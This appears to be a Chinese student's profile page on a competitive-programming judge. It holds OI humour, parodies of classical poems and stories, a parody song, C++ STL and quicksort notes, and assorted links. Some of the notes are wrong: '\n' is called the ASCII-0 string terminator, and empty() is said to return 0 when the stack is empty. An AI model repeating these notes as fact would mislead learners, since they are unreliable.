    Love(爱情) L+O+V+E=12+15+22+5=54。

    看来,这些我们通常认为重要的东西却并没起到最重要的作用。

    那么,什么可以决定我们100的人生呢?

    是Money(金钱)吗?M+O+N+E+Y=13+15+14+5+25=72。

    看来也不是。

    是Leadership (领导能力)吗?

    L+E+A+D+E+R+S+H+I+P=12+5+1+4+5+18+19+9+16=89。

    还不是。

    金钱,权力也不能完全决定我们的生活。那是什么呢?

    其实,真正能使我们生活圆满的东西就在我们的代码里面!

    iostream(输入输出流所在的头文件)=9+15+19+20+18+5+1+13=100。

    所以坚持写代码吧!| 字符串数组有一个('\n')ascll码为0 | | ----------------------------------------------------------------------------- | | 关于'\0'的两点说明: | | 1.'\0'是一个字符,所以使用单引号 | | 2.所有字符串函数都是在不确定字符串字符个数的情况下,使用'\0'表示字符串结束 | | 以下情况字符数组中会包含结束标志: | | 1.对字符数组进行整体输入 | | 2.人为修改某个字符为'\0' | | 3.对字符数组进行任何数组形式的初始化,前提是该字符数组有剩余空间存放'\n' | | 4.双引号字符串末尾默认有结束标志 | | C风格读入方式: | | 1.scanf("%s",s); 会被空格打断 | | 2.gets(s);最新c++不再支持 | | 3.fgets(s,n,stdin); 从标准输入读入时,会将行末换行一起读入,磁盘文件不会 | | 4.cin.getline(s,n) 最安全的用法

    | b站poki.com点击去看看

    https://new.swift-il.com(蓝色按钮)。

    怒发冲冠​ ,凭栏处、潇潇雨歇。抬望眼、仰天 长啸 ,壮怀激烈。 三十功名尘与土 , 八千里路云和月 。莫 等闲 、白了少年头,空悲切。靖康耻,犹未雪。臣子恨,何时灭。驾长车,踏破贺兰山缺。壮志饥餐胡虏肉,笑谈渴饮匈奴血。待从头、收拾旧山河, 朝天阙 。 每想AC一次,天上飘落一粒沙,从此形成了撒哈拉

    AK目的虽有,却无AC可循;我们称之为"GOOD!"的,无非是WA。

    鹅鹅鹅,曲项像烤鹅,拔毛烧开水,点火盖上锅

    <<审判者>> 都是被告人 你额头的伤口,你的手上,表明一切 他们说,要带着律师,去减少每一个罪行 他们说,要带好证词,去和法官争辩 为何手铐不能摘下,却在我受伤的手上带着 谁说手铐不能是玫瑰金的 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你破烂的草鞋,却敢堵法官的嘴 爱你和我那么像,手铐都一样 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 他们说,要戒掉你的瘾,就像擦去了记录 他们说,要顺法院而上,而代价是败诉 那就让我不可逆转,你一样骄傲着那种犯罪 谁说杀人平凡的,不算英雄 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你破烂的草鞋,却敢堵法官的嘴 爱你和我那么像,手铐都一样 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 (你的反驳,震耳欲聋) (你的喧哗,响彻法庭) 他们说,要戒掉你的瘾,就像擦去了记录 他们说,要顺法院而上,而代价是败诉 那就让我不可逆转,你一样骄傲着那种犯罪 谁说杀人平凡的,不算英雄 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你来自于重庆,一生杀掉很多人 你将造你的堡垒,在法庭之上 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判

    在线销售祝熙程盲盒 在线销售祝熙程盲盒 购买之后祝熙程会自己走过来,有疑问请拨打电话“110” 在途中祝熙程可能会被捣蛋鬼抓走,请慎重下单 有意者私聊 Teacher

    AC很可贵,我曰的

    我从未见过如此厚颜无耻之WA

    船员:我们一定要把WA全都揪出来

    警长:消灭WA,一次只需一颗子弹

    工程师:修理WA和超时,哼,我可是专业的

    侦探:这是最基本的AC,我的朋友

    医生:我觉得WA还可以抢救一下

    预言家:AC将指明我们的方向

    守卫:别担心AC,我就是你的盾牌

    保安:这里有我AC看着,别想闹事

    换票师:我觉得AC结果,嗯,应该这样

    情报员:我一定要把这份AC传递给大家,不惜一切代价

    黑客:AC不会出错,会出错的只有WA

    管道工:WA有问题,炸一炸就好了

    守望者:没人能逃过我的AC

    市长:我不会辜负大家的AC的

    老兵:保持AC,是战场的第一生存守则

    潜伏者:嘘,对不起啊,我是AC

    狱卒:咳,呵呵,没有WA能逃脱我的掌心

    诱捕者:哈哈,WA上当了吧

    时间之主:时间,由我AC来掌控

    内鬼:我保证,没有WA能抵达目的地

    间谍:记住,你的WA会欺骗你

    清洁工:唉,这可比扫整条WA轻松多了

    守夜人:没有我去不了的AC

    咒术师:尽管逃,你WA是逃不掉的

    变色龙:只有聪明人才能看到我AC

    双面人:哈哈哈哈,AC,就是一场豪赌

    搬运工:垃圾WA,就该去它该去的地方

    闪光弹:AC配备检查完毕,准备行动

    女巫:嗯,宝贝,帮我做AC

    赏金猎人:我的眼里,只有AC和WA

    小丑:哈哈哈哈哈哈哈哈,现在,谁才是真正的WA

    纵火犯:芜湖,我从小就喜欢AC,我现在就想看

    幸存者:AC下去,只要,AC下去

    恶魔:我会将AC,分享给你

    幻影:来吧,欣赏这场盛大的AC吧

    饕餮:无

    电脑房里生白烟,李白来到电脑前。狂打电脑的键盘,WA映入他眼帘

    让我们荡起双桨,把WA拍在沙滩上

    正道的光,照在了WA上,让每个绿色的AC都出来蹦跶

    在AC到来之前,总会有WA出现。 受尽苦难而不厌,此乃阿修罗之道。

    传 送 门 OJ

    B站

    洛谷

    CSDN

    百度~优先搜索~

    瞎 搞 区 玛 卡 巴 卡 点我

    a game 点我

    O r z

    倒 计 时

    心 灵 鸡 汤 100%的人生 假如让 A=1%,B=2%……Z=26%。那么: Knowledge:K+N+O+W+L+E+D+G+E=11+14+15+ 23+12+5+4+7+5=96% Workhard:W+O+R+K+H+A+R+D=23+15+18+11+ 8+1+18+4=98% 也就是说知识和努力工作对我们人生的影响可以达到96%和98%。 Luck:L+U+C+K=12+21+3+11=47% Love:L+O+V+E=12+15+22+5=54% 看来,这些我们通常认为重要的东西却并没起到最重要的作用。 那么,什么可以决定我们100%的人生呢? 是金钱吗? Money:M+O+N+E+Y=13+15+14+5+25=72% 看来不是。 是权力吗?
    Power:P+O+W+E+R=16+15+23+5+18=77% 也不是。 金钱,权力也不能完全决定我们的生活。那是什么呢
    其实,真正能使我们生活圆满的东西就在我们的代码里面
    iostream (输入输出流头文件): I+O+S+T+R+E+A+M=9+15+19+20+18+5+1+13=100%
    所以坚持写代码吧...... Copy

    Copy

    蒟蒻的生活 模拟只会猜题意,贪心只能过样例; 数学上来先打表,DP一般看规律; 组合数学靠运气,计算几何瞎暴力; 图论强行套模板,数论只会GCD; 递推莫名UKE,递归堆栈往外溢; 深搜茫然TLE,广搜队列MLE; 二分查找总CE,叉堆结果必RE; 高精算法找规律,做完全都OLE; 数据结构干瞪眼,水题也都WA; 长知识也不容易,考试一来全懵B!

    暴力出奇迹, 打表过样例。 数学先打表, DP看运气。
    穷举TLE, 递推UKE。
    模拟MLE, 贪心还CE。 想要骗到分, 就要有方法。 图论背模板, 数论背公式。 动规背方程, 高精背代码。 如果都没背, 干脆输样例。

    刷题是一种出路, 枚举是一种思想, 打表是一种勇气, 搜索是一种信仰, 剪枝是一种精神, 骗分是一种日常, 爆零是一种宿命, WA是一种绝望, TLE是一种痛苦, 吊打是一种必然, RE是一种放弃, UKE是一种无奈, AC是一种原谅, AK是一种理想, 弃赛是一种颓废, 进队是一种奢望, CSP是一种幻想, NOI是至高境界, ACM是神仙比赛, CTSC做梦都过不去。

    昔人已乘网络去, 此地空余网络流。 网络一去不复返, 代码千行空悠悠。 深搜历历TLE, 广搜萋萋MLE。 最大流它何处是, 费用流它使人愁。

    十年OI一场空, 不开long long见祖宗。 Copy

    Copy

    西江月·夜行黄沙道中 明月别枝惊鹊,清风半夜鸣蝉。 稻花香里说AC,听取WA声一片。 七八个TLE外,两三点RLE前。 旧时茅店CE边,路转西桥忽见。 Copy

    Copy

    新《满江红》 怒发冲冠,凭栏处、潇潇雨歇。 抬望眼,满天UKE,怒火激烈。 三十WA尘与土,八千RE云和月。 莫抄袭,没了AC记录,空悲切! CE耻,犹未雪。蒟蒻恨,何时灭! 驾电脑,踏破题目列表。 闭眼不会Hello world,笑谈不懂头文件。 待从头、收拾A+B,还不会。

    《将进酒》程序版

    君不见,OJ之题天上来,复杂到海不舍回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生重在写算法,莫使电脑空对题。 天生OJ必有用,千方百计还CE。 AC一点且为乐,会须一刷三百WA。 吾团友,牛大佬, 将刷题,手莫停!!! Copy

    Copy

    《陈乙己》 我从十二岁起,便在洛谷的蒟蒻餐厅里当伙计,kkk说,样子太傻,怕侍候不了专职开发,就在外面做点事罢。 外面的翻译管理,虽然容易说话,但唠唠叨叨缠夹不清的也很不少。 他们往往要亲眼看着一个字一个字审核过,看过到底是不是机翻,又亲看将确认翻译按下,然后放心:在这严重监督下,摸鱼也很为难。 所以过了几天,kkk又说我干不了这事。幸亏darkflames的情面大,辞退不得,便改为专管犇犇的一种无聊职务了。 我从此便整天的坐在电脑前,专管我的职务。虽然没有什么失职,但总觉得有些单调,有些无聊。 kkk是一副凶脸孔,darkflames也没有好声气,教人活泼不得;只有陈乙己到店,才可以笑几声,所以至今还记得。 陈乙己是站着打比赛而AK的唯一的人。 他身材很粗壮;稚气面孔,双眼里时常放出聪颖的光。 ………… 因为他姓陈,别人便从描红纸上的“上巨佬陈乙己”这半懂不懂的话里,替他取下一个绰号,叫作陈乙己。 陈乙己一到店,所有打比赛的人便都看着他笑,有的叫道,“陈乙己,你又AC了一道蓝题!” 他不回答,对柜里说,“两道IOI2018,要一打省选+。” 便排出戴尔ALIENWARE。 他们又故意的高声嚷道,“chenzhe AK IOI!” 陈乙己睁大眼睛说,“你怎么这样凭空污人清白……” “什么清白?我前天亲眼见你半个小时写完IOI,把其他人吊着打。” 陈乙己便涨红了脸,额上的青筋条条绽出,争辩道,“写完不能算AK……我菜!……初学者的事,能算AK么?” 接连便是难懂的话,什么“比赛真难”,什么“蒟蒻”之类,引得众人都哄笑起来:店内外充满了快活的空气。 …………………… “集训队的人脑子发昏,竟然偷到cz那里去了,他家的题,偷得的吗”“后来怎样呢”“被chenzhe打,吊着打” …………………… Copy

    Copy

    《写代码的小女孩》

    天冷极了,下着雪,又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上,一个衣衫破烂的小女孩在机房敲着代码。 她从班里逃出来的时候还拿着一本算导,但是有什么用呢? 那是一本很破旧的书——那么大,一向是她妈妈垫桌角的。 她默写SPFA的时候,年级主任突然冲进机房,吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。 他说,他可以用那本书当草纸,证明切比雪夫定理。 小女孩只好自己写二叉堆,一双小脚冻得红一块青一块的。 她面前的草纸堆得满满的,上面全是DP转移方程。 这一整天,没有一个OJ让她AC一道题,她已经交了32遍采药了。可怜的小女孩! 她又冷又饿,浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上,那干枯的头发打成卷儿披在肩上,看上去就像二叉树,不过她没注意这些。 每个显示器里都透出光来,机房里飘着一股CPU发糊的怪味,因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来,蜷着趴在键盘上。 她觉得更冷了。她不敢回家,因为她还没调完二叉堆,没写对一个DP方程,教练一定会骂她的。再说,换成别的数据结构,一样写不出来。 这些题都太水,虽然神犇都写过题解了,但是题解上一般都只有三个字:傻X题。她几乎绝望了。 啊,哪怕一个函数不会RE,对她也是有好处的!她每写一遍程序,跑出来的结果就不一样,要是她有数据,她就知道哪一个程序是算对了的。 她得不到数据了,因为机房上不去网了,全校的网速都让隔壁的年级主任拿来下小电影了。 如果能保证下一个程序能AC,她就敢再写几十KB的代码,但是她是不敢啊,她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。 编译通过了,样例过了。这次,她感觉自己站在IOI的考场中AK。学校的大门上,贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。 在班级内的非诚勿扰中,全班男生都给她留了灯。这时候,程序又RE了,她面前只有cmd上的黑底白字。她又写了一道模拟。 这一回,她坐在美丽的二叉堆下。这棵二叉堆,比她在丽洁代码中看到的常数还要小,还要短。 眼前是许多优美动人的ASCII码,那些都是她写的程序,各种可爱的指针在跳跃着,满世界都是系统栈,都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。 这时候,眼前的ASCII码还在,条幅还在,指针还在,年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高,最后成了在天空中闪烁的星星。 有一颗星星落下来了,在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。 唯一疼她的学姐保送之前告诉过她:一颗星星落下来,就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回,她把能用的IDE都用了。 学姐出现在亮光里,是那么温和,那么快乐。“学姐!” 小女孩叫起来,“啊!请把我带走吧!我知道,系统栈一溢出,您就会不见的,像那校门的条幅,浮点数的精度,循环队列的空间一个样,就会不见的!” 她赶紧编译了5KB的高精度模板,要把学姐留住。一大把程序发出强烈的光,把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔,这样美丽。 她把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有DP,没有图论,也没有数据结构的地方去了。 第二天清晨,这个小女孩坐在机房里,两腮通红,嘴上带着微笑。她死了,在NOIP的前夜死了。NOIP Day1的太阳升起来了,照在她小小的尸体上。 小女孩坐在那儿,显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。 谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她学姐一起走向新世界的幸福中去。 Copy

    Copy

    《望AC》 代码夫如何, AC 青未了。 DP 知方程,键盘光标舞。 贪心最优解,二分加打表。 暴力还 AC ,二叉不得了。 Copy

    Copy

    《再别机房》 轻轻的,我走了 正如我,轻轻的来; 我轻轻的,招手 告别信息竞赛。 那桌上的屏幕, 是主机的新娘; 开机时的蓝屏, 在我的心头荡漾。 地上的食物, 油油的,在底下招摇; 在机房的柔波里, 我甘心做一台电脑! 那教学楼下的一潭, 不是清泉,是天上虹; 揉碎在浮藻间, 沉淀着oier的梦。 寻梦?要打开emacs, 向难题,更难处漫溯; 满载一版ac, 打开Windows Media Player, 在星辉斑斓里放歌。 但我不能放歌, 悄悄,是退组的笙箫; CPU 也为我沉默, 沉默,是今晚的机房! 悄悄的,我走了, 正如我悄悄的,来; 我挥一挥衣袖, 顺走了鼠标与键盘。 Copy

    Copy

    《膜你抄》 屏幕在深夜微微发亮 思想在那虚树路径上彷徨 平面的向量交错生长 织成 忧伤的网 剪枝剪去我们的疯狂 SPFA告诉我前途在何方 OI背包装下了忧伤 笑颜 洋溢脸庞 键盘微凉 鼠标微凉 指尖流淌 代码千行 凸包周长 直径多长 一进考场 全都忘光 你在OJ上提交了千百遍 却依然不能卡进那时限 双手敲尽代码也敲尽岁月 只有我一人 写的题解 凋零在OJ里面 tarjan陪伴强联通分量 生成树完成后思路才闪光 欧拉跑过的七桥古塘 让你 心驰神往 队列进出图上的方向 线段树区间修改求出总量 可持久留下的迹象 我们 俯身欣赏 数论算法 图论算法 高斯费马 树上开花 线性规划 动态规划 时间爆炸 如何优化 我在OI中辗转了千百天 却不让我看AK最后一眼 我用空间换回超限的时间 随重新编译 测完样例 才发现漏洞满篇 原来CE 是因选错语言 其实爆0 只因忘写文件 如果标算太难请坚定信念 不如回头再看一眼题面 以那暴力模拟向正解吊唁 蒟蒻的蜕变 神犇出现 终将与Au擦肩 屏幕在深夜微微发亮 我心在考场 Copy

    Copy

    蒟蒻

    真 · 膜 拜

    分 工 明 确 班长说:走,我们去炸核弹基地 副班长说:这个主意不错。 化学课代表负责提取氢气。 物理课代表负责拼装氢弹。 数学课代表负责计算爆破面积。 地理课代表负责策划爆破地点。 信息课代表负责编写氢弹程序。 历史课代表负责记录光辉场面。 美术课代表负责描画壮观景致。 生物课代表负责事后生态环境。 英语课代表到外国购买进口材料。 政治课代表负责使用法律打官司。 语文课代表负责乱写文章推卸责任。 Copy

    Copy

    起 名 鬼 才 一位洗碗的大姐,经常被别人叫阿姨,她嫌弃阿姨不好听,就给自己取了一个特别牛的名字:瓷洗太后。 隔壁补胎的师傅受到启发,给自己取了一个国际范的名字:拿破轮。 电焊工听到,受到启发,也给自己取了一个名字:焊武帝。 一日电焊工去糖果店炫耀自己的名字,老板啦叫他看他的名字:糖太宗。 电焊工看了沉默了。这时一辆粪车路过,发写这三个大字:擒屎皇。 路边捆菜的阿姨行不下去了,叫到你们的名字算什么? 看看我的名字,众人一看这名字取得不一般,大喊到捆菜阿姨的名字:菜需捆!!! 从此,镇上工作的人,再也没有互相比过名字。 Copy

    Copy

    评 测 姬 AC=Answer Coarse=粗劣的答案。 WA=Wonderful Answer=好答案。 TLE=Time Limit Enough=时间充裕。 MLE=Memory Limit Enough=内存充裕。 CE=Compile Easily=轻松通过编译。 RE=Run Excellently=完美运行。 UKE=Unbelievablly Keep Enough Score=难以置信地保持足够的分数。 OLE=Output Limit Enough=输出充裕。 Copy

    Copy

    关于老师们 语文老师一回头, 此地空余黄鹤楼(鲁迅甘为孺子牛)(水浒好汉来磕头); 数学老师一回头, 二次函数对称轴(六元六次都能求); 英语老师一回头, Sorry加上三克油(满口洋文跑地球); 物理老师一回头, 一根杠杆撬地球(阿基米德要跳楼); 生物老师一回头, 试管婴儿水中游(人类祖先是猿猴); 天文老师一回头, 发现黑洞到处有; 历史老师一回头, 秦始皇来打酱油; 地理老师一回头, 大陆版块乱漂流(气候位置好犯愁)(校门前面泥石流)(长江黄河倒着流)(山山水水任你游); 化学老师一回头, 二氧化碳变汽油; 劳动老师一回头, 破铜烂铁来走秀; 日语老师一回头, 八格亚路很走红; 体育老师一回头, 乔丹改打乒乓球(黛玉也能踢足球)(奥运取消打篮球); 政治老师一回头, 全班同学都梦游(布什改行卖豆油); 美术老师一回头, 蒙娜丽莎也风流; 音乐老师一回头, 贝多芬呀也不牛(泉眼叮咚四处流); 信息老师一回头, 带着学生玩网游; 各科老师一回头, 全体学生没自由。 ——————————————————— 各科老师被困在电梯里的反应: 语文老师正在写东西。 数学老师开始计算电梯的长宽高。 英语老师开始说起电梯英语单词。 物理老师在计算说几小时空气会呼吸完。 化学老师在检查这个电梯的材质。 生物老师在考虑他们需要的物质比如氧气。 地理老师在计算纬度叫人来救她们。 历史老师开始感慨并回忆之前发生过的类似的事情。 政治老师准备告物业。 体育老师默默无闻走向电梯门口,一脚把门踹开说了句我们走吧! 事实证明体育才是主科! Copy

    Copy

    王警官笑话

    http://www.cqwsjds.com/bqg/1684/4157497\_2.html

    https://v.uuuab.com/html/62/62991/10/

    114514

    坑人代码

    一堆链接

    aiaiai

    本台将持续为您播出大型纪录片《诈骗传奇》

    123

    牛比人士 你值得拥有 好东西 代码

    既然你看到了那你就看到了这行字吧

    数学是火,点亮物理的灯;物理是灯,照亮化学的路;化学是路,通向生物的坑;生物是坑,埋葬学理的人。 文言是火,点亮历史宫灯;历史是灯,照亮社会之路;社会是路,通向哲学大坑;哲学是坑,埋葬文科生。

    ▄︻┻┳══━一

    栈: stack st;//声明1个栈 st ,用于储存int型变量。 st.push(x);//将表达式x的值入栈

    st.pop();//弹出栈顶元素

    st.empty();//判断栈st是否为空,空则返回0

    st.top(); 队列:

    queue qu;//声明1个队列 qu,用于储存int型变量。

    qu.push(x);//将表达式x的值入队

    qu.pop();//弹出队顶元素 单链表:

    vector v;//声明1个向量v ,用于储存int型变量。

    v.clear();//清空向量。 双链表:

    list li;//声明1个链表li,用于储存int型变量。

    li.empty();//判断li是否为空。

    li.chear();//清空。

    li.front();//返回li的首元素。

    li.back();//返回li的尾元素。 别 li.insert(p,x);//在链表的第p个位置处插入x。

    用 li.erase(p);//删除链表位置p处的元素。 li.remove(x);//删除链表中所有值等于x的元素。

    li.push_back(x);//向链表末尾插入元素x。

    li.pop_back();//删除链表末尾元素。

    li.push_front(x);//向链表头插入元素x。

    li.pop_front();//删除链表首元素。 快排: #include<bits/stdc++.h> using namespace std; int n,k,a[100005]={0},l=0; int sp(int l,int r) { k=a[(l+r)/2]; a[(l+r)/2]=a[l]; while(l<r) { while(l<r&&a[r]>k)r--; if(l<r)a[l]=a[r],l++; while(l<r&&a[l]<k)l++; if(l<r)a[r]=a[l],r--; } a[l]=k; return l; } void qs(int l,int r) { if(l>=r)return ; int p=sp(l,r); qs(l,p-1); qs(p+1,r); } int main() { scanf("%d",&n); for(int i=0;i<n;i++) scanf("%d",&a[i]); int r=n-1; qs(l,r); for(int i=0;i<n;i++)printf("%d ",a[i]); return 0; } 刷题网站

    笔记

    万能头

    #include<bits/stdc++.h>

    文件操作: #include using namespace std; int main() { freopen("输入文件名.in","r",stdin) freopen("输出文件名.out","w",stdout) 代码 fclose(stdout) fclose(stdin) return 0;

    }

    清空:memset(a,0,sizeof(a));

    1

    游戏

    我的世界

    友链

    刺客信条(游戏)

    1234567

    存档1

    存档2

    123456789101112

    芝士点 另一个

    100

    飞映网

    https://www.luogu.com.cn/discuss/589108

    http://digdig.io/

    文字

    https://yandex.com/games/

    神帖 大佬 色卡 仙贝 好玩的 +1 +1 不好玩的 ChatGPT 奇葩的题 洛谷词典 日爆检测器 画一只只因 一堆入门题 好van的图片 好van的帖子 好van的段子 《OI害人不浅》 奇葩代码合集 洛谷日爆检测器 让我帮你百度一下 自己搞的一些神奇帖子 nb人 一些有趣 || 奇怪 || 好用 || 摸鱼 的网站

  • 通过的题目

  • 最近活动

题目标签

初窥门径
31
顺序结构
25
循环嵌套
8
略有小成
7
蓝桥杯
5
GESP二级
5
分支结构
4
一本通编程启蒙
3
循环结构
2
模拟
2
其他
1
位运算
1
一维数组
1
排序
1
驾轻就熟
1
暴搜
1
DFS
1
BFS
1
GESP一级
1
样题
1